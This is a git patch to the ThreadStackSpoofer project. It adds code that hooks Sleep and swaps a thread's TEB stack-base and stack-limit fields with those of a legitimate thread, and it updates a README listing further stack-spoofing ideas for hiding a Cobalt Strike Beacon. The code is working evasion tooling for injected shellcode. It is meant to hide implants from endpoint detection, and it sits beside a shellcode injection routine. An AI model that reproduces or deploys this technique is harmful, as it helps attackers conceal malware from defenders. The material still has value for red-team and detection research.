From 6dd84dd1a661b0c9d8665aa7f4a020415c60c48f Mon Sep 17 00:00:00 2001 From: "Mariusz B. / mgeeky" Date: Mon, 27 Sep 2021 15:58:28 +0200 Subject: [PATCH] readme --- README.md | 10 ++++++- ThreadStackSpoofer/header.h | 19 +++++++++++-- ThreadStackSpoofer/main.cpp | 55 +++++++++++++++++++------------------ 3 files changed, 55 insertions(+), 29 deletions(-) diff --git a/README.md b/README.md index 7db5ac6..e67c84d 100644 --- a/README.md +++ b/README.md @@ -94,7 +94,15 @@ Surely this project (and commercial implementation found in C2 frameworks) gives The research on the subject is not yet finished and hopefully will result in a better quality _Stack Spoofing_ in upcoming days. Nonetheless, I'm releasing what I got so far in hope of sparkling inspirations and interest community into further researching this area. -Next areas improving the outcome are to research how we can _exchange_ or copy stacks (utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)` or possibly by manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress` providing shadowed TEB. Another idea would be to play with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains. +Next areas for improving the outcome are to research how we can _exchange_ or copy stacks with one of the following ideas: + +1. utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)` + +2. manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress`, `NT_TIB.StackBase / NT_TIB.StackLimit` by swapping them with values taken from another legitimate thread. + +3. playing with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains - by swapping values of these registers while Beacon's thread is suspended. + +4. Create a new user stack with `RtlCreateUserStack` / `RtlFreeUserStack` and exchange stacks from a Beacons thread into that newly created one ## Example run diff --git a/ThreadStackSpoofer/header.h b/ThreadStackSpoofer/header.h index 961d13a..33484a6 100644 --- a/ThreadStackSpoofer/header.h +++ b/ThreadStackSpoofer/header.h @@ -32,6 +32,19 @@ typedef BOOL(__stdcall* typeSymInitialize)( typedef std::unique_ptr::type, decltype(&::CloseHandle)> HandlePtr; +struct EXCEPTION_REGISTRATION +{ + void* handler; + void* prevHandler; +}; + +struct Start_Of_TEB +{ + EXCEPTION_REGISTRATION* ExceptionList; + void* StackBase; + void* StackLimit; +}; + struct CallStackFrame { ULONG_PTR calledFrom; @@ -51,9 +64,11 @@ struct StackTraceSpoofingMetadata LPVOID pSymGetModuleBase64; bool initialized; CallStackFrame spoofedFrame[MaxStackFramesToSpoof]; - CallStackFrame mimicFrame[MaxStackFramesToSpoof]; size_t spoofedFrames; - size_t mimickedFrames; + ULONG_PTR legitTebBaseLow; + ULONG_PTR legitTebBaseHigh; + ULONG_PTR origTebBaseLow; + ULONG_PTR origTebBaseHigh; }; struct HookedSleep diff --git a/ThreadStackSpoofer/main.cpp b/ThreadStackSpoofer/main.cpp index bb960f8..8ba8209 100644 --- a/ThreadStackSpoofer/main.cpp +++ b/ThreadStackSpoofer/main.cpp @@ -1,5 +1,6 @@ #include "header.h" +#include HookedSleep g_hookedSleep; StackTraceSpoofingMetadata g_stackTraceSpoofing; @@ -10,15 +11,30 @@ void WINAPI MySleep(DWORD _dwMilliseconds) const volatile DWORD dwMilliseconds = _dwMilliseconds; // Perform this (current) thread call stack spoofing. - spoofCallStack(true); + //spoofCallStack(true); log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n"); + PULONG_PTR ptr = (PULONG_PTR)_AddressOfReturnAddress(); + ptr--; + + + Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb(); + g_stackTraceSpoofing.origTebBaseLow = (ULONG_PTR)teb->StackBase; + g_stackTraceSpoofing.origTebBaseHigh = (ULONG_PTR)teb->StackLimit; + + teb->StackBase = (void*)g_stackTraceSpoofing.legitTebBaseLow; + teb->StackLimit = (void*)g_stackTraceSpoofing.legitTebBaseHigh; + // Perform sleep emulating originally hooked functionality. ::SleepEx(dwMilliseconds, false); + + + teb->StackBase = (void*)g_stackTraceSpoofing.origTebBaseLow; + teb->StackLimit = (void*)g_stackTraceSpoofing.origTebBaseHigh; // Restore original thread's call stack. - spoofCallStack(false); + //spoofCallStack(false); } bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/) @@ -267,23 +283,14 @@ void spoofCallStack(bool overwriteOrRestore) { for (size_t i = 0; i < numOfFrames; i++) { - if (i > g_stackTraceSpoofing.mimickedFrames) - { - CallStackFrame frame = { 0 }; - g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame; - break; - } - auto& frame = frames[i]; - auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i]; if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof) { // // We will use CreateFileW as a fake return address to place onto the thread's frame on stack. // - //frame.overwriteWhat = (ULONG_PTR)::CreateFileW; - frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr; + frame.overwriteWhat = (ULONG_PTR)::CreateFileW; // // We're saving original frame to later use it for call stack restoration. @@ -454,17 +461,15 @@ bool injectShellcode(std::vector& shellcode, HandlePtr &thread) return (NULL != thread.get()); } -/* -void _acquireLegitimateThreadStack(LPVOID param) + +void WINAPI _acquireLegitimateThreadStack(LPVOID param) { - ULONG_PTR lowLimit = 0, highLimit = 0; - ULONG stackSize = highLimit - lowLimit; - GetCurrentThreadStackLimits(&lowLimit, &highLimit); - - g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0); - memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize); + Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb(); + g_stackTraceSpoofing.legitTebBaseLow = (ULONG_PTR)teb->StackBase; + g_stackTraceSpoofing.legitTebBaseHigh = (ULONG_PTR)teb->StackLimit; + + ::SleepEx(INFINITE, false); } -*/ bool acquireLegitimateThreadStack() { @@ -474,7 +479,8 @@ bool acquireLegitimateThreadStack() HandlePtr secondThread(::CreateThread( NULL, 0, - (LPTHREAD_START_ROUTINE)::Sleep, + //(LPTHREAD_START_ROUTINE)::Sleep, + (LPTHREAD_START_ROUTINE)_acquireLegitimateThreadStack, (LPVOID)INFINITE, 0, 0 @@ -482,12 +488,9 @@ bool acquireLegitimateThreadStack() Sleep(1000); - walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0); - - return g_stackTraceSpoofing.mimickedFrames > 0; + return true; } - int main(int argc, char** argv) { if (argc < 3)